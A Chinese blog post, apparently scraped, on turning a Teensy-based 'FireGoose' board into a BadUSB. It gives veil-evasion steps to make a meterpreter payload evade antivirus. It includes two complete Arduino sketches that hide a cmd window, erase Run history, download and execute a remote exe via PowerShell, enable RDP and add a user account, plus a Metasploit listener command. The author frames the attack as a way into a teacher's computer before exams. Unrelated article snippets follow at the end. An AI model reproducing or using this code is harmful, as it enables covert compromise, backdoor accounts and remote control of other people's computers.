利用烧鹅制作简单BadUSB,插谁谁怀孕

所用硬件设备为烧鹅,烧鹅是RadioWar基于Teensy++ 2.0 AT90USB1286芯片设计的USB Rubber Ducky类开发板。 
使用veil编码meterpreter生成payload(经过编码的payload在杀软中仅能够存活几分钟),放到服务器上。插入烧鹅,模拟键盘输入,在cmd中下载payload,并执行。

Github:https://github.com/RadioWar/FireGoose

0x1 利用veil编码打造免杀的meterpreter 

[email protected]:~# veil-evasion          //启动veil 
[>] Please enter a command: list    //查看可选列表 
26) python/meterpreter/rev_tcp

[>] Please enter a command: 26     //这里选择编号为26的payload 
[>] Please enter a command: set LHOST 192.168.31.233  //设置LHOST

[>] Please enter a command: generate             //对payload进行编码 
[*] Press [enter] for ‘payload‘ 
[>] Please enter the base name for output files: a   //输入生成的payload名字 
[>] Please enter the number of your choice: 1 //选择编码方式

[*] Executable written to: /root/veil-output/compiled/a1.exe  //生成经过编码的payload位置

0x2 将执行代码写入badusb中 

使用Arduino IDE 写入,其中下载使用的是PowerShell,如果使用vbs那种方法,360会报警

 1 void setup() {               //初始化,这里的代码只执行一次
 2 delay(5000);                //设置延时,让系统有足够的时间识别烧鹅,防止后续代码执行错乱。
 3 Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);                // 按下Win键
 4 Keyboard.set_key1(KEY_R);                                   // 同时按下R键
 5 Keyboard.send_now();                                       // 发送Win+R
 6 delay(100);
 7 Keyboard.print("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1");
 8 //开启极小的CMD窗口,设置文字和背景对比度尽可能相近,达到隐藏输入的目的
 9 Keyboard.set_key1(KEY_ENTER);
10 Keyboard.send_now();
11 delay(300);
12 Keyboard.println("reg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f");                                           //利用注册表清除开始--运行的记录
13 Keyboard.set_key1(KEY_ENTER);
14 Keyboard.send_now();
15 Keyboard.println("powershell (new- object System.Net.WebClient).DownloadFile(‘http://192.168.1.100 /a1.exe‘,‘D:\\1.exe‘)");                              //下载远程的payload
16 Keyboard.set_key1(KEY_ENTER);
17 Keyboard.send_now();
18 Keyboard.set_modifier(0);
19 Keyboard.set_key1(0);
20 Keyboard.send_now();
21 delay(3000);                                               //设置延迟,等待下载完成
22 Keyboard.println("d:\\1.exe");                            //执行打开命令
23 Keyboard.set_key1(KEY_ENTER);
24 delay(300);
25 Keyboard.set_modifier(0);
26 Keyboard.set_key1(0);
27 Keyboard.set_modifier(MODIFIERKEY_ALT);
28 Keyboard.set_key1(KEY_SPACE);
29 Keyboard.set_key2(KEY_C);
30 Keyboard.send_now();
31 Keyboard.set_modifier(0);
32 Keyboard.set_key1(0);
33 Keyboard.set_key2(0);
34 Keyboard.send_now();                                       //关闭cmd窗口
35     }
36    void loop()                                           //循环,这里的代码无限循环
37     {
38     } 

对于win7开启3389,并加帐户,使用

 1 void setup() {                                                 //初始化,这里的代码只执行一次
 2    delay(5000);                     //设置延时,让系统有足够的时间识别烧鹅,防止后续代码执行错乱。
 3    Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);                  // 按下Win键
 4    Keyboard.set_key1(KEY_R);                                      // 同时按下R键
 5    Keyboard.send_now();                                           // 发送Win+R
 6    delay(100);
 7    Keyboard.print("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1");
 8 //开启极小的CMD窗口,设置文字和背景对比度尽可能相近,达到隐藏输入的目的
 9    Keyboard.set_key1(KEY_ENTER);
10    Keyboard.send_now();
11    delay(300);
12    Keyboard.println("REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f");  //开启3389
13    Keyboard.set_key1(KEY_ENTER);
14    Keyboard.send_now();
15    Keyboard.println("net user 123 123 /add");        //添加帐户
16    Keyboard.set_modifier(0);
17    Keyboard.set_key1(0);
18    Keyboard.send_now();
19    delay(500);
20    Keyboard.set_modifier(0);
21    Keyboard.set_key1(0);
22    Keyboard.set_modifier(MODIFIERKEY_ALT);
23    Keyboard.set_key1(KEY_SPACE);
24    Keyboard.set_key2(KEY_C);
25    Keyboard.send_now();
26    Keyboard.set_modifier(0);
27    Keyboard.set_key1(0);
28    Keyboard.set_key2(0);
29    Keyboard.send_now();          //关闭cmd
30     }
31    void loop()                                                    //循环,这里的代码无限循环
32     {
33     }

在学校中利用3389比meterpreter更加好用。开启3389,杀软不会提示。添加帐户,360会提示,电脑管家不会提示。

对于执行修改dns等一些需要输入中文的地方,就比较麻烦了,暂时还没想到好的方法,只想到模拟键盘输入 Shift + Ctrl开启输入法....利用条件比较苛刻

0x3  等待目标连接 

msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=0.0.0.0 LPORT=4444 E  //开始监听,等待连接

将USB插入目标机器,执行相关命令 
目标机器上线

PS:玩法还有很多,还可以开启目标机器3389,新建用户等等,快要期末考试了,不要拦着我,我要去插下老师的机器......

时间: 2024-08-25 05:56:16

利用烧鹅制作简单BadUSB,插谁谁怀孕的相关文章

利用insertBefore制作简单的循环插空效果【jsDEMO】

[功能说明] 利用insertBefore制作简单的循环插空效果 [HTML代码说明] <ul class="list" id="list"> <li class="in">1</li> <li class="in">2</li> <li class="in">3</li> <li class="in&quo

ArcGIS利用DEM制作简单三维

利用DEM数据镶嵌后,矢量数据裁剪得到研究范围的DEM数据,在ARCScene中进行三维制作 ArcGIS利用DEM制作简单三维 点击学习我的系统教程哦

利用replaceChild制作简单的吞噬效果【jsDEMO】

[功能说明] 利用replaceChild制作简单的吞噬效果 [HTML代码说明] <ul class="list" id="list"> <li class="in">1</li> <li class="in">2</li> <li class="in">3</li> <li class="in"

利用removeChild制作简单的倒序删除效果【jsDEMO】

[功能说明] 利用removeChild制作简单的倒序删除效果 [HTML代码说明] <ul class="list" id="list"> <li class="in">1</li> <li class="in">2</li> <li class="in">3</li> <li class="in"

利用 css 制作简单的提示框

在网页开发中,为了提高用户体验,经常会用到一些提示框来引导用户,这里分享下一些简单的提示框的制作 1.首先类似一个长方形右上角一个关闭按钮 这里用到的主要是一些定位的知识,运用relative和absolute可以快速制作这样的一个提示框,想详细了解,点击这里 html代码: <div id="position"> <div class="position-relative"> <span>提示信息</span> &l

如何利用Thread制作简单的android动画

最近按照老板要求要做一个简单动画,内容可以简单概括为一个箭头在屏幕中心自动旋转.我知道android API里面有animation类,它已经提供了rotation的函数.可是,老板要求不用它的API.所以我的制作如下: 1.先了解一下线程(Thread) 多线程指的是一个应用程序当中有多个线程,线程是并列运行的,一起抢占CPU.我们平时写的主函数就是一个线程,如果我们继承了Thread类,则又开发了一个新的线程. 它有两种实现方法: 一个是继承Thread类,并override里面的run()

利用函数制作简单的轮播图

2016年11月29日,星期二    一.样式代码: 样式图: 二.设置DIV(left,center,right),script,JS链接: 三.函数代码: 四.完成图:         

利用php制作简单的文本式留言板

del.php 代码如下: <html><head ><meta charset="utf-8"><title>我的留言板</title></head><body><center>    <?php include("menu.php"); ?>    <h3>删除留言</h3>    <?php    $id=$_GET[&qu

利用会声会影制作简单的左右声道歌曲

第一步:下载会声会影的“左右移动”音频滤镜(Pan.aft),把它放在会声会影的安装目录中.  第二步:打开会声会影,把你的素材即两首歌曲分别导入到声音轨和音乐轨(当然两个都导入到音乐轨也可以).下面导入的就是我要用到的歌曲.  第三步:将第一首歌曲做如下的设置.首先选择第一首歌曲,鼠标右键,然后点击[音频滤镜] 选择[左右移动滤镜](双击它就行了),然后点击图片中间的选项点击[选项]弹出下图的面板,把参数设置成下图所示的,然后点击[确定]——[确定](即是两个面板都点击确定). 第四步:设置第